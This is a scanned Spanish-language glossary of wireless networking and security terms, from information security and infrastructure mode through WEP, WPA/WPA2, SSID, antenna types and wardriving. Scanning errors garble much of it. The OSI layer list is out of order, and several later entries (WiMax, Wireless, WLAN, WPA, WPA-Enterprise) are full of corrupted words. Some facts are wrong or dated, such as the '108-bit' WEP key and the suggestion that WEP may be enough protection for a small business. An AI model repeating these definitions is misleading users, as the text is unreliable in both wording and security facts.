Information security. Proteccion de los sistemas de informacion y de la informa-
cion frente al acceso, uso, divulgacion, modificacion o destruccion no autorizados.
También se conoce cominmente como seguridad de datos, seguridad informatica

o seguridad de TI.

Infraestructura (mado ~). Es un entorno de red 802.11 en donde los disposi-
tivos se comunican unos con otros a través de un AP. En modo infraestructura,
los dispositivos inaldmbricos se pueden comunicar unos con otros, o se pueden
comunicar con una red cableada. Cuando un AP se conecta a una red cableada y
a un conjunto de estaciones inalambricas, nos estaremos refiriendo a un entorno
BSS (Basic Service Set). Un ESS (Extended Service Set) es un conjunto de 2 o mas
BSS que forman una subred. La mayoria de las redes inalémbricas operan en modo
infraestructura porque se requieren accesos a la red cableada para poder usar
los servicios que esta provee, tales como servidores de ficheros o de impresion.

IP (direccion ~). Ver Direccion IP.

ISM (band ~). Bandas de frecuencias reservadas y de usoc no comercial para las
comunidades industriales, cientificas y médicas. Posteriormente, se empezaron a
usar para sistemas de comunicacion tolerantes a fallos que no necesitaran licencias
para la emisién de ondas. 802.11b y 802.11g operan en la ISM de los 2.4 GHz,
asi como otros dispositivos como teléfonos inaldmbricos y hornos microondas,

por ejemplo.

ISO {modelo de red ~). La ISO, International Standards Organization
(http://www.iso.org), desarrollé un modelo para describir a las entidades que

participan en una red. Este modelo, denominado Open System Interconnection
(OSI), se divide en 7 capas o niveles, que son:
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Fisico.
Enlace.

Red.

4. Transporte.
Sesion.

6. Presentacion.
7. Aplicacion.

1.
2
3.

w

Con esta normalizacidn de niveles v sus interfaces de comunicacion, se puede
modificar un nivel sin alterar el resto de capas. El protocolo 802.11 tiene dos
partes, una denominada PHY que abarca el nivel fisico, y otra llamada MAC, que
se corresponde con la parte inferior del segundo nivel del modelo OS.

Isotropica (antena ~). Modelo tedrico de antena consistente en un Unico punto del
espacio que emite homogéneamente en todas las direcciones. Se utiliza como modelo
de referencia para el resto de las antenas.

Itinerancia. Capacidad de transportar un dispositivo inalambrico desde el alcance
de un AP hasta otro sin perder la conexion.

IV (Initialization Vector). Corresponde al valor de 24 bits antepuesto a la clave
WEP utilizado para para permitir un cifrado en flujo o un cifrado por bloques, en
uno de los modos de cifrado, con un resultado independiente de otros cifrados
producidos por la misma clave.

LAN (Local Area Network). Red de computadoras que abarca un area reducida
de una casa, un departamento o un edificio.

LWAPP (Lightweight Access Point Protocol). Protocolo utilizado para canfigurar
y administrar multiples AP desde un controlador central.

MAC (Media Access Control), direccién. Direccién que identifica de manera Unica
a un nodo en una red en la capa 2 del modelo 1SO.

Mascara de subred. Cédigo de direccion que especifica qué bits de la direccion
IP especifican yna red IP determinada o un host dentro de una subred.

El formato de la méascara de subred es nnn.nnn.nnn.nnn, por ejemplo,
255.255.255.0.

Mbps (Megabits por segundo). Un millon de bits por segundo, unidad de medida
de transmision de datos.

MITM attack (Man-In-The-Middle attack). Un ataque en el gue un atacar_}te se
coloca en la ruta l6gica entre una estacion final y su destino para ver ¢ manipular
sus comunicaciones.

Modulacién. Técnicas de tratamiento de la sefial que consiste en combinar la
senal de informacidon con una senal portadora, para obtener algtin beneficio de
calidad, eficiencia o aprovechamiento del ancho de banda.

Network name. |dentificador de la red para su diferenciacion del resto de las
redes. Durante el proceso de instalacion y configuracion de dispositivos wire-
less, se requiere introducir un nombre de red o SSID para poder acceder a la red
en cuestion.

Niveles de servicio. Ver SLA (Service Level Agreement).

Nodo. Unién de red o punto de conexion, habitualmente un equipo o estacion
de trabajo.

OFDM (Orthogonal Frequency-Division Multiplexing). Método de codificacion de
datos digitales en multiples frecuencias de ondas portadoras.

Omnidireccional (antena~). Antena que proporciona una cobertura total en un
plano (360 grados) determinado.

Open System, autentificacion. Método de autentificacion por defecto del
estandar 802.11, en la que no se realiza ningln proceso de comprobacion de
identidad; simplemente, se declaran, por lo que no ofrece ninguna seguridad ni
control de acceso.

Panel (antena ~). Es una antena direccional, disefiada para radiar v recibir sefales
de radio en una orientacion general, incrementando la efectividad de esta en
esa direccion. Dependiendo del disefio de la antena, la «direccionabilidad» de la
antena serd mas o menos estrecha. Las antenas panel son mas Utiles cuando se
desea tener un drea operacional en una direccion particular, de modo opuesto a
un area operacional omnidireccional. El haz de radiacion es relativamente ancho
(comparado con una parabdlica), de modo gue la alineacion no es de precision.

Paquete. Un paguete es un pequefio bloque de datos transmitido en una red de
conmutacion de paguetes.

Parabélica (antena ~). Es una antena direccional en forma de disco curvado. Este
tipo de antena ofrece la directividad mas alta, lo que las hace ideales para enlaces
punto a punto a larga distancias.
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PEAP (Protected EAP). EAP Protegido. Una implementacién del protocolo EAP
dentro de un tdnel cifrado TLS.

Penetration testing (o pentestig). Prueba autorizada utilizada para simular los
esfuerzos de un atacante para determinar las debilidades en un sistema dado.

PKI (Public Key Infrastructure). La tecnologia, los servidores, los sistemas vy
los procesos humanos que admiten criptograffa de clave publica y certifi-
cados digitales.

PHY. Nombre abreviado del nivel mas bajo (capa 1) del modelo 1SO. El nivel fisico
que describe el medio fisico en el que se transmite la informacién de la red.

PPTP (Point-to-Point Tunneling Protocol). Tecnologia de red privada virtual comun-
mente vista en plataformas Windows.

Potencia de transmisién. El nivel de potencia que emite un equipo inaldmbrico.
Usualmente expresada in decibeles o miliwatts. Algunos valores tipicos son; +15
dBm (~33mW), 100 mW (+20 dBm), 200 mW (23 dBm). Nétese que la potencia
de transmision siempre es un valor positivo en dBm (mayor a 1mW) mientras gue
la sensibilidad es un valor negativo en dBm (menor a 1 mwW).

Puerto. Punto de conexién en un equipo o dispositivo de red utilizado para
conectar un cable o adaptador.

Punto de acceso. Ver AP (Access Point).

RADIUS (Remote Authentication Dial-In User Service). En espafiol, servicio de
usuario de marcacion de autenticacion remota. Un sistema flexible para auten-
ticar usuarios contra una base de datos central.

Roaming. Nombre dado a la accién de moverse del drea de cobertura de un AP
a otro sin pérdida de conectividad, de forma que el usuario no lo percibe.

En las redes inalambricas, el término roaming se refiere a la posibilidad de moverse
desde el drea de cobertura de un AP a otro sin interrupcion en el servicio o perder
la conectividad.

Router. Dispositivo de red que traslada los paquetes de una red a otra. Basandose
en las tablas y protocolos de enrutamiento, y en el origen y destino, un router
decide hacia donde enviar un paqguete de informacion. Conecta redes multiples,
tales como una red local e Internet. Opera en la capa tres (nivel de red)

RTS (Request To Send). Método de red para la coordinacion de paquetes grandes
a través de la configuracién Umbral de solicitud de envio (RTS).
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Sensibilidad de recepcién. El nivel de potencia minimo para mantener una cone-
xion inaldmbrica. Tipicamente se expresa en dBm y esta relacionado a una tasa d_e
transferencia de datos. Por ejemplo, si se indica que un equipo tiene una sensi-
bilidad de -80 dBm a 10 Mbps, significa que a menor valor de recepcién no es
posible establecer un enlace de 10 Mbps.

Shared Key (autentificacién ~). Proceso de autentificacion por clave secreta.
Habitualmente, todos los dispositivos de la red comparten la misma clave.

SLA (Service Level Agreement). Contrato escrito entre un proveedor de servicio
y su cliente con objeto de fijar el nivel acordado para la calidad del servicio.

Spread Spectrum. Técnica de trasmision consistente en dispersar la informacion
en una banda de frecuencia mayor de la estrictamente necesaria, con el objetivo
de obtener beneficios como una mayor tolerancia a las interferencias.

SSID (Service Set Identifier). Conjunto alfanumérico de hasta 32 caracteres que
identifica a una red inaldmbrica. Para que dos dispositivos wireless se puedan
comunicar, deben tener configurado el mismo SSID, pero dado que se puede
obtener de los paquetes de la red wireless en los que viaja en texto claro, no
puede considerarse como una medida de seguridad.

Dependiendo de si la red wireless funciona en modo ad hoc o en modo infraes-
tructura, el SSID se denomina ESSID o BSSID.

SSL (Secure Sockets Layer). Un protocolo criptografico utilizado para crear tL'J.neJes
seguros sobre una red insegura. ComUnmente utilizado para crear conexiones
HTTP seguras a través de Internet.

TKIP (Temporal Key Integrity Protocol). Algoritmo empleado por el protpcolo
WPA para mejorar la encriptacion de los datos en redes wireless. Sus principales
caracteristicas son la renovacién automéatica de la clave de encriptacion de los
mensajes y un vector de inicializacién de 48 bits, lo que elimina el problema del
protocolo WEP.

Threat analysis. En espanol, analisis de amenazas. Un enfoque alternativo a la
gestion de riesgos gue implica identificar y analizar posibles atagues, amenazas
Yy riesgos, y preparar las contramedidas en consecuencia.

TLS (Transport Layer Security). El reemplazo de préxima generacion para el
protocolo SSL.

Topologia. Distribucién fisica de una red.
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UNII (Unlicensed National Information Infraestructure). Banda de frecuencia en los
5 GHz reservada por la FCC para las comunicaciones wireless segun el estandar
802.11a. No existe una regularizacion internacional co

mun sobre los aspectos
de esta banda y los dispositivos que operan en ella.

Velocidad de transmisién, Capacidad de transmisién de un medio de comunica-
cidn en cualquier momento, se suele medir en bits por segundo (bps). Depende
de multiples factores, como I3 Ocupacion de la red, los tipos de dispositivos
empleados, etc., y en el caso de redes wireless, se afiaden los problemas de propa-
gacion de microondas a través de |a que se transmite la informacidn.

VLAN (Virtual Local Area Network). Tecnologfa para crear multiples redes virtuales
en la capa 2 desde un dispositivo fisico de capa 2.

VPN (Virtual Private Network). Tecnologia que crea un enlace virtual seguro entre
los sistemas finales a traves de una red insegura.

WAN (Wide Area Network). Grupo de equipos conectados en red en un area
geografica extensa. El mejor ejemplo de WAN es [nternet.

War chalking. Proceso de realizar marcas en las superficies (paredes, suelo,

sefales de trafico, etc) para indicar la existencia de redes wireless v alguna de
Sus caracteristicas (velocidad, seguridad, caudal, etc)

Wardriving. Un método para descubrir todas Ias redes inalambri
en un drea determinada «conduciendo
inaldmbrico apropiado.

cas disponibles
un vehiculo» en el 4rea con el equipo

WEP (Wired Equivalent Privacy). Seguridad basica para sistemas inaldmbricos
proporcionada por wifi. En algunos casos, WEP puede ser todo lo que un usuario
© Una pequena empresa necesiten para proteger los datos. WEP se encuentra
disponible en modos de codificacion de 40 bits (también conocido como codi-
ficacion de 64 bits) o 108 bits (o codificacion de 128 bits). La codificacién de
108 bits permite un algoritmo mayor gue, a su vez, toma mdés tiempo descifrar, y
proporciona una mayor seguridad que el modo basico de 40 bits (64 bits),

Wifi (Wireless Fidelity). Término creado por Wi-Fi Alliance que se utiliza para
describir redes inalambricas estandar tipo 802.11. Los productos que Wi-Fj

Alliance haya probado y certificado como «Wi-Fi» pueden operar entre sf incluso
si son de marca diferente.
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Wi-Fi Alliance. Asociacion internacional formada en 1999 para certificar la imte—I
roperatibilidad de los dispositivos wireless basados en el estandar 802.11, con e
objetivo de promover la utilizacion de dicha tecnologfa.

WiMax. Es un estandar de comunicacion inaldmbrica para aplicaciones QE drea
metropolitana (adn en desarrollo), también conoodlo como 802..16. Funuon; eln
bandas licenciadas v libres, y al igual que una red wifi, independientemente de Ia
marca del equipo.

Wireless. Tipo de comunicacién en la gue no se uh’l?z.a un medio de .p’ropda—
gacion fisico alguno esto quiere decir que se utiliza la modulacién de
ondas electromagnéticas.

WLAN (Wireless Local Area Network). Provee comunicacion inaiémbr}ca en un
rango limitado desde O hasta 100 metros aproximadamente. Est’;en varios estaln-
dares de comunicacion WLAN, los cuales son conocidos en conjunto como wifi.

WPA (Wi-Fi Protected Access). Se trata de un estandar dg seguridad para rede;
wifi gue trabaja con productos wifi existentes compahblles con WEP {Wfre:
Equivalent Privacy, «Privacidad equivalente al cableado»). Codifica los (jatos 2 travgs
del protocolo TKIP (Temporal Key Integrity Protogol, Protocolo de mtegmdadd e
clave temporal). TKIP mezcla las claves y garantiza que no se hayan altera. 0.
La autenticacién del usuario se realiza mediante el protgcolo EAP (Extenslpble
Authentication Protocol, «Protocolo de autenticacion ampliada») para garantizar
que solo usuarios autorizados puedan ingresar a la red.

WPA2 (WiFi Protected Access 2). WPA2 es la segunda genera’cién de WP/—\ y
proporciona un mecanismo de cifrado més fuerte a través del Estandar de cifrado
avanzado (AES), requisito para algunos usuarios del gobierno.

WPA-Enterprise. Version de WPA que utiliza las mismas claves_dinémi[cas qug
WPA-Personal y también requiere que todo dispositivo malamblrlco‘ {?ste autgr\-
zado segUn la lista maestra, albergada en un servidor de autenticacion especial,

WPA-Personal. Version de WPA que utiliza claves de cifrado en co'r?stante cambio
y de mayor longitud para complicar el proceso de su decodificacion.

Yagi (antena ~). Antena compuesta por varios dipolos en linea, obteniendo una
mayor ganancia y directividad.
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